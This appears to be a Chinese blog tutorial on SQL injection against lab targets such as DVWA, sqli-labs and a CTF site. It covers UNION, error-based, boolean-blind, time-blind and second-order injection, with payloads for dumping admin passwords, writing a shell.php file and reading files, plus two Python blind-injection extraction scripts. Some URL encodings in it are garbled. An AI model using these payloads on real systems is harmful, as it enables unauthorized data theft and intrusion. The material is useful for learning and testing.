<
SQL注入
>
上一篇

Dnslog在sql注入中的实战
下一篇

Php核心配置详解

SQL注入

数字数据

绕过过滤:例如:表达式等于2

1.A的ASCII码值为65,则67-ASCII(‘A’)

  1. 1的ASCII值为49,则51-ASCII(1)

    常用特殊符号编码绕过:

    0x1:&和=注入时用于连接名称/值时,分别使用%26与%3d进行编码。

    0x2:由于+被用于编码空格,使用时必须使用%2b对其编码,1+1以1%2b提交

    0x3:/!32303 and 1=0/

    注入点注入与手工 数据提取

    0x1:确定所需的栏数,在注入查询中增加NULL值,直到查询被执行,不再返回错误信息。

    0x2:确定所需的栏数后,依次输入‘a’寻找字符串数据的栏.

    https://wahh-app.com/employees.asp?EmpNo=7521&20UNION&2OSELECT%20’a ‘ ,NULL,NULL,NULL&20from&20dual–

    https://wahh-app.com/employees.asp?EmpNo=7521&20UNION&2OSELECT%20NULL ‘ ,’a’,NULL,NULL&20from&20dual–

    数据获取技巧

    1

    获取users表中的栏

    2

    MS-SQL的ODBCb=报错信息注入:

    0x1:发现ODBC报错出现在浏览器中,第一步:注入如下字符串

    ’ having 1=1–得到错误项包含被查询表的名称

    0x2:下一步在攻击字符串中插入得到的栏名称,得到如下字符串:

    ’ group by users.ID having 1=1–

    3

    提取任意数据

    0x1:构造 ‘ or 1 in(select @@version)

    获取管理员密码:’ or 1 in(select password from users where username=’admin’)–

    常用注入语句:

    concat_ws(char(32,58,32),user(),database(),version()) 、

    union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

    时间延迟:

    and if(left(database(),%d)=’%s’,sleep(5),null)#”%(i,database_name+chr(j))

    payload:

    coding=utf-8`

    import requests import time

    database_name=”” url=”http://localhost/Less-15/” headers={ ‘User-Agent’: ‘Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0’, ‘Host’: ‘localhost’ } currentTime=time.time() for i in range(1,9): for j in range(65,123): payload=”and if(left(database(),%d)=’%s’,sleep(5),null)#”%(i,database_name+chr(j)) data={ “uname”:”admin'“+payload, “passwd”:”admin”, } starttime=time.time() name=requests.post(url,data=data,headers=headers) if time.time()-starttime>=5: database_name+=chr(j) break finishTime=time.time() print(“[+]一共使用了”+str(finishTime-currentTime)+”s”) print(“[+]数据库名字:”+database_name)`

    二阶SQL注入

          1;攻击者在http请求中提交恶意输入;

          2;恶意输入保存在数据库中;

          3;攻击者提交第二次http请求;

          4;为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;

          5;如果攻击成功,在第二次请求响应中返回结果。

    二阶SQL注入理解与体会

    一:SQL注入分类

      SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入

    二:二者进行比较

      0x01:一阶SQL注入:

          1;一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;

          2;攻击者在http请求中提交非法输入;

          3;应用程序处理非法输入,使用非法输入构造SQL语句;

          4;在攻击过程中向攻击者返回结果。

      0x02:二阶SQL注入:

          1;攻击者在http请求中提交恶意输入;

          2;恶意输入保存在数据库中;

          3;攻击者提交第二次http请求;

          4;为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;

          5;如果攻击成功,在第二次请求响应中返回结果。

    三:危害比较

      一阶SQL注入和二阶SQL注入危害一致,攻击者获得数据库的访问权限,窃取相关数据,但是一阶SQL注入可以通过相关工具扫描出来,而二阶SQL注入更微妙,通常二阶SQL注入漏洞的测试主要依据测试人员对系统功能的理解和对常出错位置经验的判断,但是应用功能的增加,经验的测试结果并不能保证测试结果。

    四:二阶SQL注入原理讲解

      假设一个网站数据库中存在一个用户名为:“admin”,密码为:“123456”。攻击者注册用户名为:“admin’– ”,密码为:“123”;程序中的代码为:

                  String name=StringEscapeUtiles.escapeSql(request.getParameter(“Name”));

                  String pwd=StringEscapeUtiles.escapeSql(request.getParameter(“pwd”));

                  String sql1=”insert into user(username,password) values (“name”,”pwd”)”;

      程序在把输入数据存入数据库之前,对输入的数据中的单引号进行了转义来防止恶意输入对对数据库中数据带来的影响,避免了一阶注入带来的问题,但是在数据库中存入的用户名任然为:“admin’– ”。现在攻击者要更新密码,程序会首先判断用户是否存在,代码为:

                  String name=StringEscapeUtiles.escapeSql(request.getParameter(“Name”)); 

                  String oldpwd=StringEscapeUtiles.escapeSql(request.getParameter(“oldpwd”));

                  String newpwd=StringEscapeUtiles.escapeSql(request.getParameter(“newpwd”));  

                  String sql2 = “select * from user where username=”name” and password=”oldpwd””;

      确认用户存在且密码正确时,应用程序执行更新密码语句:

                  sql3=”update user set password=”newpwd” where username=”username””;

      在数据库中执行语句为:

                  update user set password =“111111” where username=’admin’– ‘

      在数据库语句这种“– ”表示注释,因此“– ”后面的语句不会执行;最终攻击者改变的不是“admin’– ”的密码,而是admin的密码,从而实现攻击。

0x01 注入技巧&基本模式:

首先,要对下面的一些函数和基本语句有一定的了解。

\1. 普通的union select:

select * from user where id=’12’ union select 1,2,3,4 from fabiao#+’.js

Union query SQL injection(可联合查询注入)

利用前提

*页面上有显示位

union select

Union操作符用于合成两个或多个select语句的结果集。

需要注意的是,union内部的select语句必须拥有相同的数量的列。列也必须拥有相似的数据类型。同时每条select语句中的列的顺序必须相同。

判断列数

Order by 10

Order by 1

判断显示位

Union select 1,2,3

\2. and select:

URL and (select count(username)from admin)>0 //猜解数据库列名,还可以猜解数据类型

URL and (select length(username) from admin limit 1)>0 //猜解数据库列名长度:修改后面的>0是猜解长度

URL and (select top 1 ascii(substring(username 1,1)) from admin)>0 //猜解内容:猜解出的内容需对应ASCII表,ascii、substring为MySQL的函数,MsSQL略有不同

\3. 基于时间的盲注:

URL union select 1,benchmark(1000000,md5(‘test’)),1 from user where userid=1 and ord(substring(username,1,1))=97

URL union select if(substring(Password,1,1)=’a’,benchmark(10000000,sha(1)),0) User,Password from mysql.user where user =’root’

\4. 写入到文件:

mysql> select ‘’ into outfile ‘F:/wamp/www/shell.php’; //貌似在页面编码为gbk的时候,<>会被转义为实体编码,要考虑和文件包含漏洞一起利用

  1. 读取文件:

URL union select 1,LOAD_FILE(‘E:/wamp/www/test.txt’),2,3,4,5,6–+ //注意mysql 读写文件用\的时候要转义,即E:\wamp\www\test.txt

\6. 从数据库读取数据

Mysql > select concat(username,0x3a,password) from admin; 以用户名:密码的格式从数据库读取数据

URL and ascii(substring(select concat(username,0x3a,password) from admin),1,1)>0

\7. 注释:

针对mysql /*! */

其他数据库会忽略掉省略符号之间的语句,常用于绕过waf

\8. 注入时不需要空格的例子:

select//*//from//user; // //可以充当空格

0x02 高使用率的函数:

concat(str1,str2,str3) 字符串连接

group_concat(DISTINCT column_name) 与group by配合使用,添加distinct后,将不同的column_name连接起来

ascii() 获取ASCII码

substring(str,pos,length) 对字符串str,从pos开始,截取length

benchmark(1000000,md5(‘test’)) 在时间盲注中会用到,执行1000000遍md5(‘test’)来起到延时注入的效果

if(condition,true_sentence,false_sentence) 在时间盲注中用到,如果condition成立,执行第二个参数中的语句,否则执行第三个参数中的语句。

0x03 判断用什么方式注入:

看完上面的部分,那么问题来了,有Union注入,也有and注入,还有什么盲注,SQL注入到底哪家强?

判断方法是介个样子的。添加单引号’ 查看结果:

\1. 报错==>报错注入   Union注入
\2. 不报错,但是页面信息有变化(屏蔽了错误信息)==>基于布尔的盲注   Union注入
\3. 页面信息无变化==>基于时间的盲注   Union注入

0x04 基于时间的盲注:

基于时间的盲注,是一个小难点。这里来重点讲一下。

什么样的环境下会用到基于时间的盲注?当前执行的语句没有回显。

举例说明:登录。

$num = select count(*) from user where uid=’$uid’ and sleep(5)–+ ‘ and password=’$pwd’

if($num) return 1;

else return 0;

根据数据库查询到的数据条数,会有两种返回值,成功和失败。在注入的时候,可能由于注入语句的构造不合理造成语法错误,返回失败。也有可能是并不满足某些条件(比如说 ascii(substring(password,1,1))>80),返回失败。我只需要第二种返回,但第一种返回会造成干扰。为了区分开,我让执行正确的语句,延迟几秒再回来,这样就区分开了~这就是基于时间的盲注。

同理,还有update,delete等语句的利用,也需要基于时间的盲注,这里不细讲,如果有兴趣,可以参考http://drops.wooyun.org/tips/2078 《利用insert,update和delete注入获取数据》

布尔盲注脚本:

`

  1. import requests

  2. def getDBName(DBName_len):

  3. ​ DBName = “”

  4. ​ success_url = “http://ctf5.shiyanbar.com/web/index_3.php?id=2”

  5. ​ success_response_len = len(requests.get(success_url).text)

  6. ​ url_template = “http://ctf5.shiyanbar.com/web/index_3.php?id=2’ and ascii(substr(database(),{0},1))={1}%23”

  7. ​ chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz’

  8. ​ print(“Start to retrieve database name…”)

  9. ​ print(“Success_response_len is: “, success_response_len)

  10. ​ for i in range( 1, DBName_len + 1):

  11. ​ print(“Number of letter: “ , i)

  12. ​ tempDBName = DBName

  13. ​ for char in chars:

  14. ​ print(“Test letter “ + char)

  15. ​ char_ascii = ord(char)

  16. ​ url = url_template.format(i, char_ascii)

  17. ​ response = requests.get(url)

  18. ​ if len(response.text) == success_response_len:

  19. ​ DBName += char

  20. ​ print(“DBName is: “ + DBName + “…”)

  21. ​ break

  22. ​ if tempDBName == DBName:

  23. ​ print(“Letters too little! Program ended.” )

  24. ​ exit()

  25. ​ print(“Retrieve completed! DBName is: “ + DBName)

  26. getDBName(5)

    0x10 实战篇

    以DVWA系统来进行讲解,将安全等级调为最低

    0x11 MySQL内建数据库:

    当mysq版本大于5.0的时候,会存在一个内建数据库——information_schema,存了很多数据库字段、数据表等的相关信息。

    其中最常用的数据表是columns,从字面意思上来看,是字段名,但是这张数据表里也存了字段所在表,及所在数据库的信息。

    举个例子,我要提取所有的数据库名:

    select group_concat(distinct table_schema) from information_schema.columns;

    提取 dvwa 数据库中所有的表名:

    select group_concat(distinct table_name) from information_schema.columns where table_schema=’DVWA’;

    0x12 报错注入:

    mysql中有三种报错注入——floor、extractValue、updateXml。仅用extractValue来举个例子。

    提交后,MySQL报错,按照上面的结论,为报错注入。

    基础注入语句:and extractvalue(1, concat(0x5c, ( select table_name from information_schema.tables limit 1 )));

    \1. 爆数据库

    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1’ and extractvalue(1, concat(0x5c, ( select table_schema from information_schema.columns group by table_schema limit 2,1 )))–+

    可以通过更改注入语句中的limit来爆出不同的数据库

    \2. 爆数据表

    和爆数据表是一个原理

    \3. 爆表中字段

    XPATH报错的对长度有一些限制,那还是一个一个的来

    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1’ and extractvalue(1, concat(0x5c, ( select column_name from information_schema.columns where table_schema=’dvwa’ and table_name=’users’ limit 1,1 )))–+

    \4. 爆数据

    根据上一次爆出的字段信息,去对应的数据表爆数据。这里可以用concat将需要爆的字段连接在一起组团爆出来~~

    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1’ and extractvalue(1, concat(0x5c, ( select concat(user,0x5c,password) from users limit 1 )))–+

    0x13 union注入:

    个人比较喜欢用union~~union的时候,要求:两次查询的列数必须一致。所以要先想办法知道第一次查询了多少列~

    \1. 判断列数

    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1’ order by 1 –+

    不断修改order by的数字,直到页面报错,或者页面发生变化,临界的数字即为列数

    注意这个地方的列数,是查询的列数,而不是数据表的列数。

    举个例子:

    select user,password from users //查询的列数为2

    select * from users //查询的列数==数据表的列数

    \2. 判断哪些数据是显示在页面上的

    因为不是查询的所有内容都会显示在页面上(有一些内容输出在注释或者不输出),为了数据回显,要看一下哪几列可以利用。

    如果没有可以用的回显位置的话,那就不能用union注入了。

    \3. 爆数据库(所有的结果都粗来了~):

    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1’ union select group_concat(DISTINCT table_schema),2 from information_schema.columns –+

    0x14 基于布尔的盲注:

    如果Union注入没有找到回显点,错误信息又被屏蔽的情况下,就要考虑布尔盲注了。盲注的话,往往需要多次重复。这里仅举几个简单的例子。

    \1. 基本判断方法

    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1’ and ascii(substring((select password from users limit 1),1,1))>51–+

    一位一位的验证,逐步缩小大小,定位到某一个ASCII值。

    0x15 基于时间的盲注:

    时间盲注应该是最后的选择,没有办法的办法。因为时间盲注是通过数据库的delay来判断是否注入成功,某个条件是否成立的。效率很低,注入的速度也很慢。利用场景在上文中提到了,需要好好体会。本段中的例子并不贴切。

    \1. 判断是否存在时间盲注

    union形式(如果效果不明显可以再两个0): http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1’ union select 1,benchmark(10000000,md5(“test”)) –+

    boolen形式:http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1’ and sleep(5) –+

    \2. 爆数据库:

    具体过程和布尔型盲注相仿。

参数化查询

mysql导出

sql注入防御

Top
Foot